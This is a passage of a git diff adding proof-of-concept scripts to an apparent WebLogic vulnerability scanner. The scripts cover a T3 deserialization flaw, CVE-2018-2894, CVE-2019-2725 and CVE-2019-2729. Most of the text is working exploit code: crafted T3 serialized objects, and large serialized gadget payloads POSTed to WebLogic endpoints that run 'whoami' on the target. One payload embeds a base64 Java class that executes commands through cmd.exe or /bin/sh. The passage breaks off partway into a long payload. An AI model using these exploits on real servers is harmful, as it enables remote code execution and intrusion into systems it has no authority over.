[data1,data2,data3,data4]: + sock.send(bytes.fromhex(d)) + time.sleep(2) + + + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) + sock.send(bytes.fromhex(payload)) + time.sleep(2) + sock.send(bytes.fromhex(payload)) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception: + pass + return res + +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + a,b=server_addr + if len(p)>0: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index])) + +def run(dip,dport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + server_addr = (dip, dport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,dport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + checkVul(rs, server_addr, index) + +if __name__=="__main__": + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2018_2894.py b/WeblogicScanLot/poc/CVE_2018_2894.py new file mode 100644 index 0000000..059060a --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2018_2894.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import sys +import requests + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2018-2894'] +headers = {'user-agent': 'ceshi/0.0.1'} + +def islive(ur,port): + url='http://' + str(ur)+':'+str(port)+'/ws_utc/resources/setting/options/general' + r = requests.get(url, headers=headers) + return r.status_code + +def run(url,port,index): + if islive(url,port)!=404: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(url,port,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(url,port,VUL[index])) + +if __name__=="__main__": + url = sys.argv[1] + port = int(sys.argv[2]) + run(url,port,0) diff --git a/WeblogicScanLot/poc/CVE_2019_2725.py b/WeblogicScanLot/poc/CVE_2019_2725.py new file mode 100644 index 0000000..40928ec --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2019_2725.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import sys +import requests + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2019-2725'] + +def weblogic_10_3_6(ip): + headers = { + "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", + "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", + "Content-Type":"text/xml", + "cmd":"%s"%("whoami") + } + body = """ + + + + oracle.toplink.internal.sessions.UnitOfWorkChangeSet + -84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130973013951051101001011101167811710998101114730149511611497110115108101116731101001011209002195117115101831011141181059910111577101991049711010511510976025959799991011151156912011610111411097108831161211081011151041011011161160187610697118974710897110103478311611410511010359760119597117120671089711511510111511605976991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947114117110116105109101477297115104116979810810159910109598121116101991111001011151160391916691069599108971151151160189176106971189747108971101034767108971151155976059511097109101113012604760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-1011603971081081121171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112001429-54-2-70-66000500-70100303470-727037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621016106971189747108971101034784104114101971007042101399117114114101110116841041141019710010204041761069711897471089711010347841041141019710059120440451004304610271191019810811110310599471191111141074769120101991171161018410411410197100704810141031011166711711411410111011687111114107102940417611910198108111103105994711911111410747871111141076510097112116101114591205005110049052104411910198108111103105994711510111411810810111647105110116101114110971084783101114118108101116821011131171011151167310911210870541039910910080561091031011167210197100101114103840761069711897471089711010347831161141051101035941761069711897471089711010347831161141051101035912058059100550601011103101116821011151121111101151011049404176119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011168210111511211111011510173109112108591206206310055064103716675806610451191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111682101115112111110115101731091121087068102011510111667104971149799116101114691109911110010511010310214076106971189747108971101034783116114105110103594186120700711006907210221031011168310111411810810111679117116112117116831161141019710910534041761191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111679117116112117116831161141019710973109112108591207407510069076103511910198108111103105994712010910847117116105108478311611410511010373110112117116831161141019710970781022106971189747108971101034783116114105110103661171021021011147080100810341069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912083084100810851053258321310808710811611183116114105110103102040417610697118974710897110103478311611410511010359120890901008109112010071100790931049119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011167911711611211711683116114101971097310911210870951011119114105116101831161141019710910244076106971189747105111477311011211711683116114101971095941861209709810096099105102108117115104120101011100960102107111115461109710910180104101610697118974710897110103478312111511610110970106101110310111680114111112101114116121120108059100107010910161069711897471089711010347831161141051101037011110111161117611111910111467971151011201130901001120114103119105110801161089911111011697105110115102740761069711897471089711010347671049711483101113117101110991015941901201180119100112012010171069711897471089711010347821171101161051091017012210101031011168211711011610510910110214041761069711897471089711010347821171101161051091015912012401251001230126107991091003247993280-12810410112010199103940761069711897471089711010347831161141051101035941761069711897471089711010347801141119910111511559120-1260-1251001230-12410114798105110471151043245993280-12210221069711897471051114766117102102101114101100821019710010111470-120102510697118974710511147731101121171168311611410197109821019710010111470-11810171069711897471089711010347801141119910111511570-116101410310111673110112117116831161141019710910234041761069711897471051114773110112117116831161141019710959120-1140-113100-1150-11210424076106971189747105111477311011211711683116114101971095976106971189747108971101034783116114105110103594186120100-110100-1170-10910194076106971189747105111478210197100101114594186120100-107100-1190-10610080-1041081141019710076105110101120-102090100-1190-10110910310111687114105116101114102340417610697118974710511147801141051101168711410511610111459120-990-98100690-97101910697118974710511147801141051101168711410511610111470-95105119114105116101120-93071100-940-9210191069711897471089711010347691209910111211610511111070-901031111171161021761069711897471051114780114105110116831161141019710959120-880-87901070-861019106971189747108971101034784104114111119979810810170-84100-8309110191069711897471051114780114105110116831161141019710970-81107112114105110116108110120-79071100-800-781015112114105110116831169799107841149799101120-76011100-830-751013831169799107779711284979810810110291211151111151011141059710847801191101011145253525156514952505556575750103176121115111115101114105971084780119110101114525352515651495250555657575059033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100047014000120100050150-710001019020020120006300030001-79000201300060100052014000320300010150-710000010210220100010230240202500040102601019027020120007300040001-79000201300060100056014000420400010150-710000010210220100010280290200010300310302500040102608041011010120011140701100118-8903176-72047-64049-74053-640551857-7406177-72047-64049-74053-64055-7406578451867-7407345-74077584254-6907989-6908189-7308244-740861888-74086-74092-73094-740100254-74010318105-7201105852551-91016255-74011518117-740121-10206-89033-720127-6908189-7308218-127-7408644-74086-74092-740-123586-89030-720127-6908189-7308218-121-7408644-74086-74092-740-123586-690-11989-690-11789256-740-1111867-730-108-730-105587158818-103589-89025-6908189-73082259-74086258-74086-74092589257-740-100895881-90-1-3145-740-96259-740-91-890245810-780-852510-740-82-740-772510-740-74-8903-79010940-70-40-89010-7300070093-10109060570112706970967011200229-402670-115-203270-119701127011221-102306057011270697096701120170-8920020320002033017000100102035016091171130126013001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100060014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012609120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120 + + + + """ + url="%s/wls-wsat/CoordinatorPortType"%(ip) + rsp = requests.post(url, data=body, verify=False, headers=headers) + return rsp.status_code,rsp.text + +def weblogic_12_1_3(ip): + headers = { + "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", + "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", + "Content-Type":"text/xml" +} + body=''' xxxx + + org.slf4j.ext.EventData + + + + + yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7 + + + + + ResultBaseExec + + + + %s + + + + + + + + + + connectionHandler + true + + + + + + + + + + + + + + + + + + + + + + + + + + '''%("whoami") + url="%s/wls-wsat/CoordinatorPortType"%(ip) + rsp = requests.post(url, data=body, verify=False, headers=headers) + return rsp.status_code,rsp.text + +def run(dip,dport,index): + ip = "http://{}:{}".format(dip, dport) + if weblogic_10_3_6(ip)[0]==200: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(dip,dport,VUL[index])) + logging.info('[+]And your current permission is:{}.'.format(weblogic_10_3_6(ip)[1].replace('whoami : \r\n',''))) + elif weblogic_12_1_3(ip)[0]==200: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(dip,dport,VUL[index])) + logging.info('[+]And your current permission is:{}.'.format(weblogic_12_1_3(ip)[1].replace('whoami : \r\n',''))) + else: + logging.info('[-]{}:{} not detected {}.'.format(dip,dport,VUL[index])) + + + +if __name__ == '__main__': + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2019_2729.py b/WeblogicScanLot/poc/CVE_2019_2729.py new file mode 100644 index 0000000..c1a35d4 --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2019_2729.py @@ -0,0 +1,3564 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import sys +import time +import requests + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2019-2729'] +headers = {'user-agent': 'ceshi/0.0.1', 'content-type': 'text/xml', 'cmd': 'whoami'} + + +path1 = '/wls-wsat/CoordinatorPortType' +path2 = '/_async/AsyncResponseService' + +payload1 = ''' + + + xx +xx + + +oracle.toplink.internal.sessions.UnitOfWorkChangeSet + +-84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130973013951051101001011101167811710998101114730149511611497110115108101116731101001011209002195117115101831011141181059910111577101991049711010511510976025959799991011151156912011610111411097108831161211081011151041011011161160187610697118974710897110103478311611410511010359760119597117120671089711511510111511605976991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947114117110116105109101477297115104116979810810159910109598121116101991111001011151160391916691069599108971151151160189176106971189747108971101034767108971151155976059511097109101113012604760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-1011603971081081121171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112001429-54-2-70-66000500-70100303470-727037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621016106971189747108971101034784104114101971007042101399117114114101110116841041141019710010204041761069711897471089711010347841041141019710059120440451004304610271191019810811110310599471191111141074769120101991171161018410411410197100704810141031011166711711411410111011687111114107102940417611910198108111103105994711911111410747871111141076510097112116101114591205005110049052104411910198108111103105994711510111411810810111647105110116101114110971084783101114118108101116821011131171011151167310911210870541039910910080561091031011167210197100101114103840761069711897471089711010347831161141051101035941761069711897471089711010347831161141051101035912058059100550601011103101116821011151121111101151011049404176119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011168210111511211111011510173109112108591206206310055064103716675806610451191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111682101115112111110115101731091121087068102011510111667104971149799116101114691109911110010511010310214076106971189747108971101034783116114105110103594186120700711006907210221031011168310111411810810111679117116112117116831161141019710910534041761191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111679117116112117116831161141019710973109112108591207407510069076103511910198108111103105994712010910847117116105108478311611410511010373110112117116831161141019710970781022106971189747108971101034783116114105110103661171021021011147080100810341069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912083084100810851053258321310808710811611183116114105110103102040417610697118974710897110103478311611410511010359120890901008109112010071100790931049119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011167911711611211711683116114101971097310911210870951011119114105116101831161141019710910244076106971189747105111477311011211711683116114101971095941861209709810096099105102108117115104120101011100960102107111115461109710910180104101610697118974710897110103478312111511610110970106101110310111680114111112101114116121120108059100107010910161069711897471089711010347831161141051101037011110111161117611111910111467971151011201130901001120114103119105110801161089911111011697105110115102740761069711897471089711010347671049711483101113117101110991015941901201180119100112012010171069711897471089711010347821171101161051091017012210101031011168211711011610510910110214041761069711897471089711010347821171101161051091015912012401251001230126107991091003247993280-12810410112010199103940761069711897471089711010347831161141051101035941761069711897471089711010347801141119910111511559120-1260-1251001230-12410114798105110471151043245993280-12210221069711897471051114766117102102101114101100821019710010111470-120102510697118974710511147731101121171168311611410197109821019710010111470-11810171069711897471089711010347801141119910111511570-116101410310111673110112117116831161141019710910234041761069711897471051114773110112117116831161141019710959120-1140-113100-1150-11210424076106971189747105111477311011211711683116114101971095976106971189747108971101034783116114105110103594186120100-110100-1170-10910194076106971189747105111478210197100101114594186120100-107100-1190-10610080-1041081141019710076105110101120-102090100-1190-10110910310111687114105116101114102340417610697118974710511147801141051101168711410511610111459120-990-98100690-97101910697118974710511147801141051101168711410511610111470-95105119114105116101120-93071100-940-9210191069711897471089711010347691209910111211610511111070-901031111171161021761069711897471051114780114105110116831161141019710959120-880-87901070-861019106971189747108971101034784104114111119979810810170-84100-8309110191069711897471051114780114105110116831161141019710970-81107112114105110116108110120-79071100-800-781015112114105110116831169799107841149799101120-76011100-830-751013831169799107779711284979810810110291211151111151011141059710847801191101011145253525156514952505556575750103176121115111115101114105971084780119110101114525352515651495250555657575059033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100047014000120100050150-710001019020020120006300030001-79000201300060100052014000320300010150-710000010210220100010230240202500040102601019027020120007300040001-79000201300060100056014000420400010150-710000010210220100010280290200010300310302500040102608041011010120011140701100118-8903176-72047-64049-74053-640551857-7406177-72047-64049-74053-64055-7406578451867-7407345-74077584254-6907989-6908189-7308244-740861888-74086-74092-73094-740100254-74010318105-7201105852551-91016255-74011518117-740121-10206-89033-720127-6908189-7308218-127-7408644-74086-74092-740-123586-89030-720127-6908189-7308218-121-7408644-74086-74092-740-123586-690-11989-690-11789256-740-1111867-730-108-730-105587158818-103589-89025-6908189-73082259-74086258-74086-74092589257-740-100895881-90-1-3145-740-96259-740-91-890245810-780-852510-740-82-740-772510-740-74-8903-79010940-70-40-89010-7300070093-10109060570112706970967011200229-402670-115-203270-119701127011221-102306057011270697096701120170-8920020320002033017000100102035016091171130126013001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100060014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012609120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120 + + + + + + + + + + +''' +payload2 = ''' + + + xx +xx + + +oracle.toplink.internal.sessions.UnitOfWorkChangeSet + +-84 +-19 +0 +5 +115 +114 +0 +23 +106 +97 +118 +97 +46 +117 +116 +105 +108 +46 +76 +105 +110 +107 +101 +100 +72 +97 +115 +104 +83 +101 +116 +-40 +108 +-41 +90 +-107 +-35 +42 +30 +2 +0 +0 +120 +114 +0 +17 +106 +97 +118 +97 +46 +117 +116 +105 +108 +46 +72 +97 +115 +104 +83 +101 +116 +-70 +68 +-123 +-107 +-106 +-72 +-73 +52 +3 +0 +0 +120 +112 +119 +12 +0 +0 +0 +16 +63 +64 +0 +0 +0 +0 +0 +2 +115 +114 +0 +58 +99 +111 +109 +46 +115 +117 +110 +46 +111 +114 +103 +46 +97 +112 +97 +99 +104 +101 +46 +120 +97 +108 +97 +110 +46 +105 +110 +116 +101 +114 +110 +97 +108 +46 +120 +115 +108 +116 +99 +46 +116 +114 +97 +120 +46 +84 +101 +109 +112 +108 +97 +116 +101 +115 +73 +109 +112 +108 +9 +87 +79 +-63 +110 +-84 +-85 +51 +3 +0 +6 +73 +0 +13 +95 +105 +110 +100 +101 +110 +116 +78 +117 +109 +98 +101 +114 +73 +0 +14 +95 +116 +114 +97 +110 +115 +108 +101 +116 +73 +110 +100 +101 +120 +91 +0 +10 +95 +98 +121 +116 +101 +99 +111 +100 +101 +115 +116 +0 +3 +91 +91 +66 +91 +0 +6 +95 +99 +108 +97 +115 +115 +116 +0 +18 +91 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +67 +108 +97 +115 +115 +59 +76 +0 +5 +95 +110 +97 +109 +101 +116 +0 +18 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +59 +76 +0 +17 +95 +111 +117 +116 +112 +117 +116 +80 +114 +111 +112 +101 +114 +116 +105 +101 +115 +116 +0 +22 +76 